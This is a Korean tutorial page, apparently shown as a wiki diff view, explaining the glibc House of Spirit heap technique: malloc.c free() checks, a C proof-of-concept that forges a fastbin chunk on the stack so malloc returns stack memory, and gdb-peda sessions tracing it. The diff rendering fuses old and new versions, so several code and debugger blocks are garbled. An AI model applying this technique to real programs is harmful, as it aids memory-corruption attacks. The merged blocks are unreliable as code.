Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Excuse the ads! We need some help to keep our site up.

Include Page
00.Notice
00.Notice

List

Table of Contents
outlinetrue
excludeList

...

House of Spirit

Conditions

  • 해당 기술은 다음과 같은 조건이 만족해야만 동작합니다.
    • 공격자에 의해 Allocated Fake chunk(FastBin) 형태를 생성할 수 있어야 합니다.
    • 공격자에 의해 해당 영역(Fake chunk)의 주소를 Free() 함수의 인자 값으로 전달할 수 있어야 합니다.

Exploit plan

  • 다음과 같은 방법으로 공격할 수 있습니다.
    • Stack 영역에 Fake chunk(FastBin) 구조를 저장합니다.
    • Free()함수의 인자 값으로 Fake chunk의 주소를 전달합니다.
    • Fake chunk(FastBin)의 크기와 같은 크기의 Heap영역을 할당 받습니다.
      • 이때 할당 받은 영역은 Fake chunk(FastBin) 영역입니다.

Example

Files

Panel
  • _int_free()는 메모리가 해제 된 청크의 포인터가 올바르게 정렬 된 포인터인지 확인하기 위해 misaligned_chunk ()를 요청합니다.
    • 청크의 정렬이 올바르지 않으면 프로세스는 "free() : invalid pointer"메시지와 함께 종료됩니다.
Code Block
languagecpp
firstline4153
titlemalloc.c
linenumberstrue
  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
      /*
	If TRIM_FASTBINS set, don't place chunks
	bordering top into fastbins
      */
      && (chunk_at_offset(p, size) != av->top)
#endif
      ) {
 if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
    {
      errstr = "free(): invalid pointer";
    errout:
  • _int_free()는 해당 chunk의 "size"에 저장된 값이 MINSIZE 보다 작고 해당 값이 정상적으로 정렬된 값인지 확인합니다.
    • 정상적이지 않다면 프로세스는 "free(): invalid size" 메시지와 함께 종료됩니다.
Code Block
languagecpp
firstline4165
titlemalloc.c
linenumberstrue
  if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    {
      errstr = "free(): invalid size";
      goto errout;
    }
  • _int_free()는 해당 chunk의 크기가 fastbin에 해당하는지 확인한 후에 다음 chunk의 size에 저장된 값이 다음과 같은 조건에 만족하는지 확인합니다.
    • 다음 chunk의 "size"에 저장된 값에서 사용된 flag bit를 모두 제거한 값이 2 * SIZE_SZ 보다 작거나 같은지 확인합니다.
    • 그리고 다음 chunk의 "size"에 저장된 값이 av->system_mem의 값보다 크거나 같은지 확인합니다.
    • 해당 Arena가 잠겨 있지 않을 경우 av→system_mem에 저장된 값이 거짓일 경우가 있습니다.
    • 그렇기 때문에 해당 Arena를 잠금 후에 앞에서 확인한 조건대로 값을 다시 확인합니다.
    • 해당 조건이 충족되면 다음 청크의 "size"에 저장된 값이 비정상이므로 "free () : invalid next size (fast)"메시지를 출력되고 프로세스를 종료합니다.
  • 위 조건들을 통과하면 해당 chunk는 정상적인 청크이며, 해당 chunk를 fastbin에 저장합니다.
    • _int_free()는 전달된 chunk의 포인터가 Stack에 존재하는지 확인하지 않습니다.
Code Block
languagecpp
firstline4203
titlemalloc.c
linenumberstrue
  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
      /*
	If TRIM_FASTBINS set, don't place chunks
	bordering top into fastbins
      */
      && (chunk_at_offset(p, size) != av->top)
#endif
      ) {

    if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
			  <= 2 * SIZE_SZ, 0)
	|| __builtin_expect (chunksize (chunk_at_offset (p, size))
			     >= av->system_mem, 0))
    {
	/* We might not have a lock at this point and concurrent modifications
	   of system_mem might have let to a false positive.  Redo the test
	   after getting the lock.  */
	if (have_lock
	    || ({ assert (locked == 0);
		  __libc_lock_lock (av->mutex);
		  locked = 1;
		  chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
		    || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
	      }))
	  {
	    errstr = "free(): invalid next size (fast)";
	    goto errout;
	  }
	if (! have_lock)
	  {
	    __libc_lock_unlock (av->mutex);
	    locked = 0;
	  }
    }

    free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);

    set_fastchunks(av);
    unsigned int idx = fastbin_index(size);
    fb = &fastbin (av, idx);

    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    mchunkptr old = *fb, old2;
    unsigned int old_idx = ~0u;
  • House of Spirit은 stack에 가짜 청크를 쓰고 해당 stack의 주소에서 0x10을 더한 주소로 free()를 호출할 수 있을 경우 구현할 수 있습니다.
    • Stack에 Fastbin에 해당하는 Fake chunk를 작성한 후 메모리 할당을 malloc()에 요청 합니다.
    • 그리고 Fake chunk의 주소에 0x10를 더한 주소로 free()를 호출하면, 해당 chunk의 포인터가 Fastbin[]에 저장됩니다.
    • 해당 chunk의 크기로 malloc()을 호출하면, Fastbin[]에 저장된 Fake chunk의 포인터를 반환합니다.
    • 즉, 해당 포인터는 Stack영역의 메모리 입니다.
  • 예를 들어 다음과 같이 Fake chunk의 "size"의 값이 0x80이고 다음 chunk의 "size"값이 0x1000인 Fake chunk를 Stack에 작성합니다.
    • 크기가 0x3e8(1000)인 메모리 할당을 malloc()에 요청합니다.
    • Fake chunk의 포인터(0x7fffffffe3d0)의 해제를 free()에 요청합니다.
    • 크기가 0x70인 메모리의 할당을 위해 malloc()을 호출합니다.
    • 할당자는 fastbinsY[6]에 저장된 포인터를 재 할당됩니다.
    • 반환된 메모리는 Stack영역입니다.
Panel
titleHouse of Spirit flow

Image Added

Example

  • 이 코드는 앞에서 언급한 예와 동일한 코드입니다.
    • Stack에 Fake chunk를 작성한 후 malloc()에 메모리 할당을 요청합니다.
    • 그리고 free()에 ptr에 저장되 값에 대해 메모리 해제를 요청합니다.
    • 다시 malloc()에 크기가 0x70인 메모리 할당을 요청합니다.

...

Code Block
languagecpp
titleSample codehouse_of_spirit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
void main(){
	    unsigned long *ptr;
	char fakeChunk[160    unsigned long fake_chunk[20];

	printf( 
    fprintf(stderr,"fakeChunk : %p\n",fakeChunkfake_chunk);
	printf(    fprintf(stderr,"ptr : %p\n",&ptr);

	scanf("%176s",fakeChunk);

	 
    fake_chunk[1] = 0x80;
    fake_chunk[17] = 0x1000;
 
    malloc(1000);

	    ptr = fake_chunk + 2;
    free(ptr);
 
	    char *stack = malloc(0x70);
	char *test1
 = malloc(0x70);
	char *test2 = malloc(0x500);

	printf(fprintf(stderr,"Stack : %p\n",stack);
}

Exploit flow

Panel
titleThe House of Spirit

Image Removed

Debugging

  • 0x4006c0에서 Stack에 작성된 Fake chunk를 확인합니다.

    • 0x4006d8에서는 heap 공간의 생성과 arena의 값을 확인합니다.

    • 0x4006f9에서는 free()에 Fake chunk의 포인터를 전달한 후 fastbins의 변화를 확인합니다.

    • 0x400708에서는 malloc()에서 반환되는 포인터를 확인합니다.

    다음과 같이 Break point를 설정합니다.
    • 0x40067b - scanf() 함수 호출

    • 0x400691 - free() 함수 호출

    • 0x40069b - malloc() 함수 호출

Code Block
titleBreak pointsBreakpoints
lazenca0x0@ubuntu:~$ gcc -o house_of_spirit house_of_spirit.c 
lazenca0x0@ubuntu:~$ gdb -q ./house_of_spirit
Reading symbols from ./house_of_spirit...(no debugging symbols found)...done.gdb-peda$ b *0x000000000040067b
Breakpoint 1 at 0x40067b
gdb-peda$ b *0x0000000000400691
Breakpoint 2 at 0x400691
gdb-peda$ bdisassemble *0x000000000040069bmain
BreakpointDump 3of at 0x40069b
  • 아래와 같이 Stack 영역에 값을 입력 할 수 있습니다.
    • 입력 값으로 'A' * 160 + 'B'  * 8개를 입력했습니다.
Code Block
titleWrite the stack
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/heap/spirit 
fakeChunk : 0x7fffffffe1c0
ptr : 0x7fffffffe260
Breakpoint 1, 0x000000000040067b in main ()
gdb-peda$ x/22gx 0x7fffffffe1c0
0x7fffffffe1c0:	0x0000000000000000	0x0000000000000000
0x7fffffffe1d0:	0x0000000000000000	0x0000000000000000
0x7fffffffe1e0:	0x0000000000000000	0x00007ffff7ffe520
0x7fffffffe1f0:	0x00007fffffffe220	0x00007fffffffe210
0x7fffffffe200:	0x00000000f63d4e2e	0x0000000000400388
0x7fffffffe210:	0x00000000ffffffff	0x00007fffffffe378
0x7fffffffe220:	0x00007ffff7a211f8	0x00007ffff7ff74c0
0x7fffffffe230:	0x00007ffff7ffe1c8	0x0000000000000000
0x7fffffffe240:	0x0000000000000001	0x000000000040071d
0x7fffffffe250:	0x00007fffffffe280	0x0000000000000000
0x7fffffffe260:	0x00000000004006d0	0x0000000000400540
gdb-peda$ ni
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
  • 아래와 같이 스택영역에 임의의 값을 저장할 수 있음을 확인인했습니다.
    • gdb의 set 명령어를 이용해 Fake chunk 생성과 ptr영역의 값을 변경 합니다.
      • Fake chunk 영역(0x7fffffffe1c0 ~ 0x7fffffffe248) : Chunk size - 0x70, Top chunk - 0x1000

      • ptr 영역(0x7fffffffe260) : 0x00007fffffffe1d0
Code Block
titleOverwrite the fake chunk
0x0000000000400680 in main ()
gdb-peda$ x/22gx 0x7fffffffe1c0
0x7fffffffe1c0:	0x4141414141414141	0x4141414141414141
0x7fffffffe1d0:	0x4141414141414141	0x4141414141414141
0x7fffffffe1e0:	0x4141414141414141	0x4141414141414141
0x7fffffffe1f0:	0x4141414141414141	0x4141414141414141
0x7fffffffe200:	0x4141414141414141	0x4141414141414141
0x7fffffffe210:	0x4141414141414141	0x4141414141414141
0x7fffffffe220:	0x4141414141414141	0x4141414141414141
0x7fffffffe230:	0x4141414141414141	0x4141414141414141
0x7fffffffe240:	0x4141414141414141	0x4141414141414141
0x7fffffffe250:	0x4141414141414141	0x4141414141414141
0x7fffffffe260:	0x4242424242424242	0x0000000000400500
gdb-peda$ set *0x7fffffffe1c8 = 0x80
gdb-peda$ set *0x7fffffffe1cc = 0x0
gdb-peda$ set *0x7fffffffe248 = 0x10000
gdb-peda$ set *0x7fffffffe24c = 0x0
gdb-peda$ set *0x7fffffffe260 = 0x7fffffffe1d0
gdb-peda$ set *0x7fffffffe264 = 0x7fff
gdb-peda$ x/22gx 0x7fffffffe1c0
0x7fffffffe1c0:	0x4141414141414141	0x0000000000000080
0x7fffffffe1d0:	0x4141414141414141	0x4141414141414141
0x7fffffffe1e0:	0x4141414141414141	0x4141414141414141
0x7fffffffe1f0:	0x4141414141414141	0x4141414141414141
0x7fffffffe200:	0x4141414141414141	0x4141414141414141
0x7fffffffe210:	0x4141414141414141	0x4141414141414141
0x7fffffffe220:	0x4141414141414141	0x4141414141414141
0x7fffffffe230:	0x4141414141414141	0x4141414141414141
0x7fffffffe240:	0x4141414141414141	0x0000000000010000
0x7fffffffe250:	0x4141414141414141	0x4141414141414141
0x7fffffffe260:	0x00007fffffffe1d0	0x0000000000400500
gdb-peda$
  • 아래와 같이 Fake chunk영역이 해제되어 해당 chunk가 "fastbinsY"에 등록되었습니다.
    • "fastbinsY"에 등록된 fake chunk의 크기와 같은 값을 malloc()함수의 인자 값으로 전달 합니다.(malloc(0x70))
    • malloc(0x70) 호출에 의해 fake chunk영역을 재할당 받았습니다.
    • 그 다음 malloc() 호출해서 할당받은 영역은 정상적으로 Heap 영역에 할당되었습니다.
assembler code for function main:
   0x0000000000400666 <+0>:	push   rbp
   0x0000000000400667 <+1>:	mov    rbp,rsp
   0x000000000040066a <+4>:	sub    rsp,0xc0
   0x0000000000400671 <+11>:	mov    rax,QWORD PTR fs:0x28
   0x000000000040067a <+20>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040067e <+24>:	xor    eax,eax
   0x0000000000400680 <+26>:	mov    rax,QWORD PTR [rip+0x2009d9]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400687 <+33>:	lea    rdx,[rbp-0xb0]
   0x000000000040068e <+40>:	mov    esi,0x4007d4
   0x0000000000400693 <+45>:	mov    rdi,rax
   0x0000000000400696 <+48>:	mov    eax,0x0
   0x000000000040069b <+53>:	call   0x400540 <fprintf@plt>
   0x00000000004006a0 <+58>:	mov    rax,QWORD PTR [rip+0x2009b9]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x00000000004006a7 <+65>:	lea    rdx,[rbp-0xc0]
   0x00000000004006ae <+72>:	mov    esi,0x4007e4
   0x00000000004006b3 <+77>:	mov    rdi,rax
   0x00000000004006b6 <+80>:	mov    eax,0x0
   0x00000000004006bb <+85>:	call   0x400540 <fprintf@plt>
   0x00000000004006c0 <+90>:	mov    QWORD PTR [rbp-0xa8],0x80
   0x00000000004006cb <+101>:	mov    QWORD PTR [rbp-0x28],0x1000
   0x00000000004006d3 <+109>:	mov    edi,0x3e8
   0x00000000004006d8 <+114>:	call   0x400550 <malloc@plt>
   0x00000000004006dd <+119>:	lea    rax,[rbp-0xb0]
   0x00000000004006e4 <+126>:	add    rax,0x10
   0x00000000004006e8 <+130>:	mov    QWORD PTR [rbp-0xc0],rax
   0x00000000004006ef <+137>:	mov    rax,QWORD PTR [rbp-0xc0]
   0x00000000004006f6 <+144>:	mov    rdi,rax
   0x00000000004006f9 <+147>:	call   0x400510 <free@plt>
   0x00000000004006fe <+152>:	mov    edi,0x70
   0x0000000000400703 <+157>:	call   0x400550 <malloc@plt>
   0x0000000000400708 <+162>:	mov    QWORD PTR [rbp-0xb8],rax
   0x000000000040070f <+169>:	mov    rax,QWORD PTR [rip+0x20094a]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400716 <+176>:	mov    rdx,QWORD PTR [rbp-0xb8]
   0x000000000040071d <+183>:	mov    esi,0x4007ee
   0x0000000000400722 <+188>:	mov    rdi,rax
   0x0000000000400725 <+191>:	mov    eax,0x0
   0x000000000040072a <+196>:	call   0x400540 <fprintf@plt>
   0x000000000040072f <+201>:	nop
   0x0000000000400730 <+202>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400734 <+206>:	xor    rax,QWORD PTR fs:0x28
   0x000000000040073d <+215>:	je     0x400744 <main+222>
   0x000000000040073f <+217>:	call   0x400520 <__stack_chk_fail@plt>
   0x0000000000400744 <+222>:	leave  
   0x0000000000400745 <+223>:	ret    
End of assembler dump.
gdb-peda$ b *0x00000000004006c0
Breakpoint 1 at 0x4006c0
gdb-peda$ b *0x00000000004006d8
Breakpoint 2 at 0x4006d8
gdb-peda$ b *0x00000000004006f9
Breakpoint 3 at 0x4006f9
gdb-peda$ b *0x0000000000400708
Breakpoint 4 at 0x400708
gdb-peda$
  • 프로그램은 Fake chunk의 크기(0x80)를 QWORD PTR [0x7fffffffe470-0xa8]에 저장하고,  다음 chunk의 크기(0x1000)를 QWORD PTR [0x7fffffffe470-0xa8]에 저장합니다.

    • Stack에 Fake chunk가 생성되었습니다. 
Code Block
titleFake chunks stored on the stack.
gdb-peda$ r
Starting program: /home/lazenca0x0/house_of_spirit 
fakeChunk : 0x7fffffffe3c0
ptr : 0x7fffffffe3b0

Breakpoint 1, 0x00000000004006c0 in main ()
gdb-peda$ x/2i $rip
=> 0x4006c0 <main+90>:	mov    QWORD PTR [rbp-0xa8],0x80
   0x4006cb <main+101>:	mov    QWORD PTR [rbp-0x28],0x1000
gdb-peda$ i r rbp
rbp            0x7fffffffe470	0x7fffffffe470
gdb-peda$ ni

0x00000000004006cb in main ()
gdb-peda$ ni

0x00000000004006d3 in main ()
gdb-peda$ x/gx 0x7fffffffe470 - 0xa8
0x7fffffffe3c8:	0x0000000000000080
gdb-peda$ x/gx 0x7fffffffe470 - 0x28
0x7fffffffe448:	0x0000000000001000
gdb-peda$ x/20gx 0x7fffffffe3c8 - 0x8
0x7fffffffe3c0:	0x0000000000000000	0x0000000000000080
0x7fffffffe3d0:	0x0000000000000000	0x0000000000000000
0x7fffffffe3e0:	0x0000000000000000	0x0000000000000000
0x7fffffffe3f0:	0x00007fffffffe568	0x0000000000000000
0x7fffffffe400:	0x0000000000000001	0x00007fffffffe568
0x7fffffffe410:	0x0000000000000001	0x00007fffffffe490
0x7fffffffe420:	0x00007ffff7ffe168	0x0000000000f0b5ff
0x7fffffffe430:	0x0000000000000001	0x000000000040079d
0x7fffffffe440:	0x00007fffffffe46e	0x0000000000001000
0x7fffffffe450:	0x0000000000400750	0x0000000000400570
gdb-peda$
  • malloc()에 메모리 할당을 요청하기 전에는 Heap 공간에 생성되지 않았기 때문에 Arena에 최소한의 정보만 가지고 있습니다.
    • malloc()이 메모리를 할당한 후에는 Heap 공간에 생성되어 flags, bins, system_mem, max_system_mem, 등에 값들이 초기화 됩니다.
Code Block
titleBefore and after requesting heap allocation
gdb-peda$ c
Continuing.

Breakpoint 2, 0x00000000004006d8
Code Block
titleAllocated the fake chunk
Breakpoint 2, 0x0000000000400691 in main ()
gdb-peda$ ip rmain_arena rdi
rdi$1 = {
  mutex = 0x0, 
  flags = 0x0, 0x7fffffffe1d0	0x7fffffffe1d0
gdb-peda$ p main_arena.fastbinsY 
$3fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = {0x0, 
  last_remainder = 0x0, 
  bins = {0x0 <repeats 254 times>}, 
  binmap = {0x0, 0x0, 0x0, 0x0}, 
  next = 0x7ffff7dd1b20 <main_arena>, 
  next_free = 0x0, 
  attached_threads = 0x1, 
  system_mem = 0x0, 
  max_system_mem = 0x0
}
gdb-peda$ p &main_arena 
$2 = (struct malloc_state *) 0x7ffff7dd1b20 <main_arena>
gdb-peda$ ni


0x00000000004006960x00000000004006dd in main ()
gdb-peda$ p main_arena.fastbinsY 
$4 
$3 = {
  mutex = 0x0, 
  flags = 0x1, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7fffffffe1c00x0, 0x0, 0x0, 0x0}, 
  top = 0x6023f0, 
  last_remainder = 0x0, 
  bins = {0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, 

...

    0x7ffff7dd21a8 <main_arena+1672>, 0x7ffff7dd21a8 <main_arena+1672>...}, 
  binmap = {0x0, 0x0, 0x0, 0x0}, 
  next = 0x7ffff7dd1b20 <main_arena>, 
  next_free = 0x0, 
  attached_threads = 0x1, 
  system_mem = 0x21000, 
  max_system_mem = 0x21000
}
gdb-peda$
  • free()에 Fake chunk의 포인터(0x7fffffffe3d0)를 전달하여, 메모리를 해제하면 해당 chunk의 포인터는 fastbinsY[6]에 배치됩니다.
    • 해당 chunk를 재할당 받기위해 malloc()에 크기가 0x70인 메모리 할당을 요청하면, fastbinsY[6]에 배치된 chunk를 재할당하여 포인터(0x7fffffffe3d0)를 반환합니다.
Code Block
titleReallocate chunks registered in fastbins
gdb-peda$ c
Continuing.

Breakpoint 3, 0x000000000040069b0x00000000004006f9 in main ()
gdb-peda$ ni
0x00000000004006a0 in main ()x/i $rip
=> 0x4006f9 <main+147>:	call   0x400510 <free@plt>
gdb-peda$ i r raxrdi
raxrdi            0x7fffffffe1d00x7fffffffe3d0	0x7fffffffe1d00x7fffffffe3d0
gdb-peda$ x/16gx 0x7fffffffe1d0
0x7fffffffe1d0:	0x0000000000000000	0x4141414141414141
0x7fffffffe1e0:	0x4141414141414141	0x4141414141414141
0x7fffffffe1f0:	0x4141414141414141	0x4141414141414141
0x7fffffffe200:	0x4141414141414141	0x4141414141414141
0x7fffffffe210:	0x4141414141414141	0x4141414141414141
0x7fffffffe220:	0x4141414141414141	0x4141414141414141
0x7fffffffe230:	0x4141414141414141	0x4141414141414141
0x7fffffffe240:	0x4141414141414141	0x0000000000010000
p main_arena->fastbinsY[6]
$4 = (mfastbinptr) 0x0
gdb-peda$ ni

0x00000000004006fe in main ()
gdb-peda$ p main_arena.fastbinsY 
$2->fastbinsY[6]
$5 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}(mfastbinptr) 0x7fffffffe3c0
gdb-peda$ c
Continuing.

Breakpoint 4, 0x0000000000400708 in main ()
gdb-peda$ ni
...
gdb-peda$ i r rax
rax            0x602400	0x6024000x7fffffffe3d0	0x7fffffffe3d0
gdb-peda$ c
Continuing.
Stack : 0x7fffffffe3d0
[Inferior 1 (process 21008) exited normally]
Warning: not running
gdb-peda$ 

Related information

...